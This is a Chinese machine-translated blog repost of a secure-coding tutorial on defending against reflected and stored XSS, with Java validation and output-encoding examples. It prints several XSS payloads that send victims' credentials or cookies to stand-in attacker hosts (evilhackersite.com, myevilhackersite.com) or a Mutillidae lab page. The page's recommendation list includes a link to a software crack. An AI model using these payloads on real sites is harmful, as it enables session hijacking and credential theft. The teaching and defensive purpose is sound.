安全编码实践之二:跨站脚本攻击防御

声明:本文由Bypass整理并翻译,仅用于安全研究和学习之用。

文章来源:https://medium.com/bugbountywriteup/how-to-write-secure-code-b2757b59cd4b

如何编写安全代码?保护自己免受跨站点脚本攻击!

过去几个月我一直致力于安全代码实践,我一直在努力与社区讨论易于采用的方法。我们每天看到的不安全代码的数量确实令人震惊,我们都同意“预防胜于治疗”。

保持我们的代码和应用程​​序安全的最佳方法是从一开始就正确编程。编写安全代码并不困难或复杂,只需要程序员知道在哪里包含安全检查。这是几行额外代码的问题,但仅此一项就可以抵御针对您的应用程序的大量攻击。

我们来挖掘吧!

因此,这篇特别的文章“如何编写安全代码?”专注于跨站点脚本问题。

只要应用程序获取不受信任的数据并将其发送到Web浏览器而没有正确的验证和转义,就会发生跨站点脚本漏洞。XSS允许攻击者在受害者的浏览器中执行脚本,这些脚本可能会劫持用户会话,破坏网站或将用户重定向到恶意网站。

下面的代码是发生XSS攻击的示例之一,所采用的输入未经过清理,并且直接传递给参数。

String firstNameParameter =(String)
request.getParameter(“firstName”);

用户输入的值立即存储在局部变量fi​​rstNameParameter中,然后在HTTP响应中将值发送到浏览器,而不进行任何输出编码。

在本文中,我将介绍几种不同类型的攻击和方法,即您每天面临的攻击和方法以及可用于防止它们的方法: 

1.反射XSS

它一次针对一名受害者进行追踪,当恶意负载传递给受害者并且他们最终点击恶意URL并让黑客访问他们的cookie和其他数据时,可以看到它在行动中。

这里是有效载荷的示例,如果受害者执行该攻击,则攻击者可以访问其详细信息。

https://mybank.com/submitForm.do?customer= 
<script> 
function + stealCredentials()
 { 
location.href =“ www.evilhackersite.com?name = document.myform.username.value 
&password = document.myform.pword .value“ 
} 
</ script>
//整个脚本将作为url传递。
//它已被提出以增强可读性。

另一个例子是我们访问一个密码生成器的网页。乍一看,页面看起来不容易受到任何攻击,因为我们所要做的就是按“生成密码”按钮。

我们打开我们的burp-suite并在我们的代理选项卡中拦截请求。我们将其发送到转发器选项卡以检查请求查询和相应的响应查询。下面的图像是我们传递的第一个请求,我们可以观察到我们在请求查询中传递的用户名会反映在响应查询中。

现在我们知道,用户名反映给我们,我们可以使用我们的有效负载注入值字段。现在唯一需要的是我们如何设计有效负载,以便我们可以按预期执行命令。

“; catch(e){} alert('inject'); try(a =”//我们的有效载荷

 

 上图显示了请求和附加有效负载的响应查询,似乎已经成功。我们对整个有效负载进行url编码,然后通过代理选项卡再次发送,并检查我们在浏览器中收到的结果。

在代理选项卡中传递有效内容

 

正如预期的那样,我们会收到一个警告框,该框显示在浏览器中,表明攻击有效负载已经起作用。

2.存储XSS

当代码被注入正在托管的服务器端程序时,就会发生此攻击。因此,每当用户导航到特定网页或链接时,他们就是存储的XSS攻击的受害者。

存储的XSS攻击可以按如下方式执行,如果页面上的图像以这样的方式注入:每当页面加载恶意脚本(如下所示)时加载而不是图片,然后抓取用户的cookie。

<script> newImage()。src =“ http://myevilhackersite.com/login.cgi?c= "+encodeURI(document.cookie ) ; </ script>
//我们的有效载荷

存储的XSS的另一个例子如下: 

在我们旁边的登录页面中,输入test作为用户名和密码。我们所做的每件事都记录在日志数据库中。我们可以继续检查日志数据库,在那里我们可以看到注册了测试用户名的失败登录尝试。因此,如果用户名没有被清理并直接保存在日志中,那么我们可以利用它来发起存储的XSS攻击。

 

我们在用户名字段中传递以下有效负载,以查看我们是否能够执行XSS攻击。

<script> document.location =“ http://192.168.56.103/mutillidae/index.php?page=capture-data.php&c=”+ document.cookie </ script>

只要我们在用户名框中传递我们的有效负载并打开日志文件,我们就可以清楚地看到cookie存储在那里,正如我们所希望的那样。

因此,现在每当有人打开日志文件时,他们的cookie值将被发送到capture-data.php页面,然后存储数据。

保卫你的代码!

我们已经详细讨论了如何利用我们的代码在网站上执行恶意XSS攻击。我们可以采取的步骤如下: -

输入验证
  • 验证应仅在服务器端执行,绝不应在客户端完成。
  • 我们可以允许用户使用的白名单和黑名单。我们可以利用常规的正则表达式或基于框架的反XSS函数来增强安全性。
  • 代码示例

而不是直接使用和接收参数“firstName”。

String firstNameParameter =(String)
request.getParameter(“firstName”);
  • 在分配给变量firstNameParameter之前,首先将其传递给正则表达式
private final String MY_DATAVALIDATION_WHITELIST =“[a-zA-Z] *”;
public boolean mustPassWhiteListCheck(String clientSideParameter)抛出
WhiteListFailureException
{ 
boolean checkValue = false;
checkValue = Pattern.matches(MY_DATAVALIDATION_WHITELIST,clientSideParameter);
if(checkValue == false)
{ 
   throw new WhiteListFailureException(“Possible Attack !!!”); 
} 
return checkValue; 
}
输出编码
  • 中和HTTP响应中包含的任何误解释的字符
  • 将字符转换为数据而不是执行恶意脚本
  • URL编码 - 用一个或多个字符三元组替换字符串中的字符
  • 三元组:%后跟两个其他十六进制数字,例如:%2e这是“。”
  • 输出编码代码示例

下面的代码是没有执行编码的代码。

System.out.println(“<HTML> <HEAD> <BODY> Hello +”+ 
request.getParameter(“firstName”)+“</ BODY> </ HTML>”);

现在我们将对上面的代码进行小的修改,在输入被我们的正则表达式杀菌剂消毒之后,我们将把值传递给print语句。

System.out.println(“<HTML> <HEAD> <BODY> Hello +”+ Encoder()。
encodeForHTML(sanitisedFirstNameVariable)+“</ BODY> </ HTML>”);
  • 输出编码网页上下文

至少我们需要为这些值执行URL编码: -

a)HTML正文

b)HTML属性

c)URL

d)JavaScript

e)级联样式表

道德

XSS是一种危险的攻击,可以自动搜索XSS。存储和反射的XSS可能会对应用程序造成严重损害。防止这些攻击的最基本方法之一是执行适当的输入验证和输出编码。正确实现这两个功能可以帮助我们有效防御XSS攻击。

 

转载于:https://www.cnblogs.com/xiaozi/p/10676390.html

Web安全之跨站脚本攻击(XSS) XSS(跨站脚本攻击)是一种常见的网络安全漏洞,攻击者通过在网页中注入恶意脚本,控制用户浏览器进行非法操作。XSS主要分为反射型、存储型和DOM型三种。反射型XSS通过诱使用户点击恶意链接实施攻击;存储型XSS将恶意脚本存储在服务器端,长期影响用户;DOM型XSS通过修改页面DOM节点实现攻击。XSS的危害包括盗取用户账号、控制企业数据、非法转账等。防御措施包括设置HttpOnly属性、输入检查、输出检查和使用安全编码函数。通过这些方法,可以有效减少XSS攻击的风险,保护用户和企业的数据安全。 阅读详情

相关推荐

XSS跨站脚本攻击:从原理到实战防御的完整指南

跨站脚本攻击(XSS)是一种常见的Web安全漏洞,其核心原理在于攻击者能够将恶意脚本注入到受信任的网页中,当用户浏览该页面时,恶意脚本会在其浏览器中执行。这种攻击的本质是Web应用对用户输入的数据未进行充分过滤和转义,便将其作为HTML或JavaScript代码的一部分输出到页面。XSS的技术价值在于它能够窃取用户Cookie、会话劫持、发起钓鱼攻击,甚至完全控制用户账户,对Web应用的安全性构成严重威胁。其应用场景广泛,常见于存在用户交互功能的网站,如搜索框、评论系统、个人信息编辑等。本文以反射型XSS和

weixin_30781107的博客 340

web跨站脚本攻击(XSS)与sql注入攻击 实例

免责申明:对于此内容仅是提供参考,用于开发人员针对黑客攻击做好安全防范 XSS攻击: 跨站脚本在英文中称为Cross-Site Scripting,缩写为CSS。但是,由于层叠样式表 (Cascading Style Sheets)的缩写也为CSS,为不与其混淆,特将跨站脚本缩写为XSS。 跨站脚本,顾名思义,就是恶意攻击者利用网站漏洞往Web页面里插入恶意代码,一般需要以下几个条件: 客户端访问的网站是一个有漏洞的网站,但是他没有意识到; 在这个网站中通过一些手段放入一段可以执行的代码,吸引客户

a116385895的博客 3727

Go Web开发中的XSS防御实战:从原理到安全编码实践

跨站脚本攻击(XSS)是Web应用中最常见的安全威胁之一,其核心原理在于攻击者能够将恶意脚本注入到可信网页中,并在用户浏览器中执行。防御XSS的关键在于理解数据在不同上下文(如HTML、JavaScript、URL)中的安全处理方式,其技术价值在于保护用户数据与维护应用可信度,广泛应用于用户评论、动态内容展示等交互场景。在Go语言生态中,通过结合输入验证、输出转义与安全HTTP头等多层防护,可以有效构建稳健的防御体系。本文聚焦于Go Web开发,详细解析如何利用`html/template`的自动转义机制与

weixin_27875131的博客 231

jsp过滤非法字符输入 防止XSS跨站攻击

一。写一个过滤器   代码如下:   package com.liufeng.sys.filter;   import java.io.IOException; import java.io.PrintWriter;   import javax.servlet.Filter; import javax.servlet.FilterCha

Love~jiaojiao的博客 6507

XSS攻击原理与防御实战:从数据代码混淆到安全编码实践

跨站脚本攻击(XSS)是Web安全领域的核心威胁之一,其本质在于浏览器错误地将用户输入的数据解析为可执行代码,从而模糊了数据与代码的边界。这种混淆源于浏览器对HTML、CSS和JavaScript的解析机制,当不可信数据未经适当处理就被插入到页面上下文中时,攻击者便能注入恶意脚本。XSS的技术价值在于揭示了客户端安全的关键弱点,其危害远超简单的弹窗,可导致会话劫持、数据窃取和身份冒充等严重后果。在应用场景上,XSS广泛存在于用户评论、搜索框、URL参数处理等交互功能中,尤其在现代单页面应用和富文本编辑场景下

weixin_30800987的博客 372

PHP安全编码实战:从信任边界到纵深防御的完整体系

在Web开发领域,应用安全是保障业务稳定和数据隐私的基石。其核心原理在于对“信任边界”的清晰界定,即明确区分系统内部可信数据与外部不可信输入。基于此,纵深防御理念强调在多个层面(如网络、应用、数据层)部署安全措施,以应对单一防线被突破的风险。对于PHP这类动态语言,其技术价值在于通过系统的安全编码实践,将潜在风险扼杀在开发阶段,而非依赖事后修补。这直接关系到SQL注入、XSS(跨站脚本)等常见高危漏洞的防范。应用场景覆盖从用户输入验证、数据库操作到会话管理的全流程。本文聚焦PHP安全,深入探讨如何通过输入验

weixin_34152820的博客 465

脚本病毒---实验十一:跨站脚本攻击基础

一、实验目的及要求 1)深入理解跨站脚本攻击概念; 2)掌握形成跨站脚本漏洞的条件; 3)掌握对跨站脚本的几种利用方式。 二、实验原理 跨站脚本攻击 1)跨站脚本攻击(Cross Site Scripting), 为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆。故将跨站脚本攻击缩写为XSS。 2)XSS工作原理 恶意web用户将代码植入到提供给其它用户使用的页面中,如果程序没有经过过滤或者过滤敏感字符不严密就直接输出或者写入数据库。合法用户在访问这些..

weixin_70557959的博客 2850

Encoder编码解码攻击

支持BASE64 md5 url sha等编码和解码

编码技巧——HTTP接口安全防范CSRF攻击

​ 上一篇《编码技巧——HTTP接口安全防范CORS攻击》介绍了同源策略、跨域、CORS,本篇介绍下CRSF漏洞及常用服务端解决方案; 思考一个问题:如果你说 同源策略SOP 就是“禁止跨域请求”,这也不完全准确,因为本质上 SOP 并不是禁止跨域请求,而是在请求后拦截了请求的回应。因此——这就会引起CSRF漏洞,即被恶意网站模拟的、带上了cookies(虽然由于SOP策略读不到cookies信息)的、非用户预期的请求,已经打到了服务端的接口上!

娜娜米的博客 3909

OWASP Mutillidae II 漏洞靶场实验指导书.pdf

OWASP Mutillidae II 漏洞靶场实验指导书汇总 OWASP Top 10 应用安全风险-2017 OWASP (Open Web Application Security Project)开放式 Web 应用程序 安全项目,是一个组织,它提供有关计算机和互联网应用程序的公正、实际、有 成本效益的信息。其目的是协助个人、企业和机构来发现和使用可信赖软件。

logisim计组实验八 乘法器

原理:点这里 有问题欢迎留言哦~ 文章目录五位阵列乘法器电路图时间延迟分析六位补码阵列乘法器五位无符号乘法流水线原理图电路图原码一位乘法器原理图电路图补码一位乘法器 五位阵列乘法器 电路图 此处注意:全加器FA的cout端是进位端而非输出端 使用硬件控制比循环累加的速度快得多。 但是存在串行进位链 改进版: 时间延迟分析 T是计算相加数的一级门延迟 3n–>2n 性能差别在1.5倍 ...

treblez's blog 2万+

Zynga将Cocos2D-X移植到Emscripten

Emscripten是Mozilla的一个新项目,通过LLVM将C++转换为JavaScript,从而可以直接在浏览器里跑C++代码。另外,也将OpenGL转换为WebGL。详情参见Zynga的工程博客:http://code.zynga.com/2013/05/zynga-ports-cocos2d-x-to-emscripten/HN上的讨论:https://news.ycombinator....

优快云与《程序员》总编观察 715

树莓派4B学习笔记一

树莓派4b烧录Ubuntu20.04&&配置Ubuntu桌面

m0_55202222的博客 3634

Java Web开发安全实战:目录遍历、越权访问与XSS攻击防御指南

在Web应用开发中,安全漏洞往往源于对用户输入的过度信任和权限边界模糊。从原理上看,攻击者通过构造恶意输入,利用程序逻辑缺陷实现未授权访问或代码执行。其技术价值在于构建纵深防御体系,确保应用在复杂网络环境中保持韧性。常见应用场景包括文件操作、数据访问控制和动态内容渲染等环节。针对目录遍历漏洞,核心在于路径规范化与白名单校验,避免使用黑名单过滤。对于访问控制,需贯彻基于资源的权限校验,防止水平与垂直越权。防御XSS攻击则需结合输入验证、输出编码和内容安全策略(CSP),特别是在处理富文本时采用白名单过滤。本文

weixin_42539414的博客 342

win10+conda+pytorch-gpu安装

pytorch 官网上只有linux和Mac的程序包,没有windows系统的,但是windows系统还是可以用pytorch的。  github: https://github.com/peterjc123/pytorch-scripts 首先要安装anaconda: 推荐清华镜像 https://mirrors.tuna.tsinghua.edu.cn/anaconda/archive/ ...

一摩尔自由的博客 1万+

从叶片之舞到数据之眼:净空雷达如何重塑风电安全与效率的边界

净空雷达通过激光或毫米波技术实现风机叶片与塔筒间距离的毫米级实时监测,极大提升了风电场在极端天气下的安全性与运营效率。这项技术不仅预防扫塔事故,还通过数据可视化与智能分析赋能叶片健康管理和发电优化,成为风电数字化运维的核心基础设施。

xk7n92h3p5m的博客 1160

跨站脚本攻击漏洞(XSS):基础知识和防御策略

跨站脚本攻击漏洞-基础篇

weixin_43263566的博客 1万+

药物不良反应预测实战指南:从FAERS数据挖掘到PyTorch深度学习模型(含可解释性分析)

【代码】药物不良反应预测实战指南:从FAERS数据挖掘到PyTorch深度学习模型(含可解释性分析)

理论都是虚的,代码才是王道。 721

ASP跨站脚本攻击防御技术解析

同时,需要持续关注网络安全技术的发展,及时更新和完善防御策略和技术手段,以应对不断变化的威胁。同时,利用机器学习等技术,对应用程序的行为进行分析和预测,及时发现异常行为并采取相应的防御措施。ASP跨站脚本攻击是一种利用Web应用程序的漏洞进行的攻击手段,攻击者通过在目标网页中**恶意脚本,实现非授权访问、数据篡改等恶意行为。对于大型Web应用程序,应采用基于防护框架的技术方案,如使用ASP.NET MVC或ASP.NET Core等框架,这些框架通常具有丰富的防御机制,可以有效防止跨站脚本攻击。

searchboy2025的博客 125

LLC型自驱动半桥谐振变换器:电压电流变化与自然换向解析

变换器的工作状态经历了多个阶段,从模态一的关断状态,到模态二和三的电流供电状态,每个阶段都得到了合理的设计和优化。的工作原理,尤其是在半个周期内的电压和电流变化。上图 展示了该变换器在工作时的电压和电流波形,它为我们揭示了变换器如何通过精确的电流和电压控制,优化性能并实现高效能转换。,并根据负载情况调整电流和电压的工作模式,能够极大提升变换器的效率,尤其是在零电压开通和自然换向的设计中,发挥着关键作用。这意味着,电流会随着时间周期的变化,呈现典型的振荡波形,从而达到良好的电流控制。是两个关键的电流变量。

weixin_43199439的博客 279

波士顿房价预测分析----以线性回归LinearRegression为例

波士顿房价数据集包括506个样本,每个样本包括13个特征变量和该地区的平均房价,房价显然和多个特征变量相关,先选择一元线性回归与多个特征建立线性方程,观察模型预测的好坏,再选择多元线性回归进行房价预测。13个特征变量缩写含义CRIM城镇人均犯罪率ZN住宅用地所占比例INDUS城镇中非住宅用地所占比例CHAS虚拟变量,用于回归分析NOX环保指数RM每栋住宅的房间数AGE1940 年以前建成的自住单位的比例DIS距离 5 个波士顿的就业中心的加权距离RAD。

我走的每一步都算数 842

跨站脚本攻击 (XSS) 全面解析:原理、Java 代码示例及防御策略

跨站脚本攻击 (Cross-Site Scripting,简称 XSS) 是一种常见的 Web 安全漏洞,攻击者通过在网页中注入恶意脚本 (通常是 JavaScript),当用户浏览该网页时,恶意脚本会在用户浏览器中执行,从而窃取用户数据、会话信息或实施其他恶意行为。XSS 攻击作为 Web 应用最古老的安全漏洞之一,至今仍在 OWASP TOP 10 漏洞榜单中占据重要位置。随着单页应用 (SPA) 和前端框架的普及,DOM 型 XSS 的防御变得更加复杂,需要前后端协同防御。

ruanjiananquan99的博客 1363

Redhawk:toggle rate从哪来?

redhwak中toggle rate的相关设置

m0_61544122的博客 8110

跨站脚本攻击(XSS攻击)

跨站脚本攻击(XSS)的三大类型(存储型XSS、反射型XSS、DOM型XSS)在应对方式上存在一些共同点和不同点。以下是它们的共同点和不同点的总结:共同点:1. 输入验证和清洗:所有类型的XSS攻击都应进行输入验证和清洗,以防止用户输入包含恶意脚本。2. 输出转义:在输出到网页之前,对所有用户输入进行转义,防止恶意脚本执行。3. 使用安全的编码实践:遵循安全的编码实践,如使用转义字符或安全的API来处理用户输入。

m0_73146715的博客 976

SAP B1中文培訓教材_SDK

公司内部培训资料,对开发工具 ,DIAPI, UIAPI,Add-ON有详细解说

IMSL CNL 7.0.0 (x86-64)Crack

IMSL CNL 7.0.0 (x86-64)Crack intel的算法库破解文件,这是C++版本的破解文件

Java语言的安全编码

随着互联网和信息技术的迅猛发展,软件安全问题愈发受到重视。特别是在Java语言的开发环境中,如何安全地进行编码,防止潜在的安全漏洞,已经成为了开发者必须直面的重要课题。本文将从Java语言的特点、常见的安全漏洞、编码规范、安全实践等多个方面探讨如何实现安全编码。

2501_91009330的博客 643

STM32F407中文手册

STM32f407中文手册 本参考手册面向应用开发人员,提供有关使用 STM32F405xx/07xx、STM32F415xx/17xx、 STM32F42xxx 和 STM32F43xxx 微控制器存储器与外设的完整信息。STM32F405xx/07xx、STM32F415xx/17xx、STM32F42xxx 和 STM32F43xxx 构成一个微 控制器系列,各产品具有不同的存储器大小、封装和外设。有关订购信息以及器件的机械与电气特性,请参见数据手册。有关 ARM Cortex™-M4F 内核的信息,请参见《Cortex™-M4F 技术参考手册》。

上一篇: 安全编码实践之一:注入攻击防御
下一篇: 安全编码实践之三:身份验证和会话管理防御
an0708
博客等级 码龄12年 30粉丝 0原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符  | 博主筛选后可见
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值